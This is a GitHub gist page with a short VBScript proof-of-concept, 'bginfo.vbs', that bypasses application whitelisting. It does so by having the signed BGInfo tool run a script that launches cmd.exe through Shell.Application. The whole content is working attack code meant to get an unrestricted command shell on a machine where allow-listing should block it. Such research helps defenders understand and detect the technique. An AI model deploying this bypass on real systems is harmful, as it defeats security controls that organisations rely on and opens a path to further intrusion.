Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save api0cradle/efc90f8318556f0737791b6d73a4ec8b to your computer and use it in GitHub Desktop.
Save api0cradle/efc90f8318556f0737791b6d73a4ec8b to your computer and use it in GitHub Desktop.
bginfo.vbs
'PoC code: Application whitelisting bypass using bginfo
'Author: @oddvarmoe - http://oddvar.moe
strProgram = "cmd.exe"
strPath = "C:\windows\system32"
Set fso = CreateObject("Scripting.FileSystemObject")
strCommand = fso.BuildPath(strPath, strProgram)
Set app = CreateObject("Shell.Application")
app.ShellExecute strCommand, , strPath, , 1
echo "Does not matter what this says"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment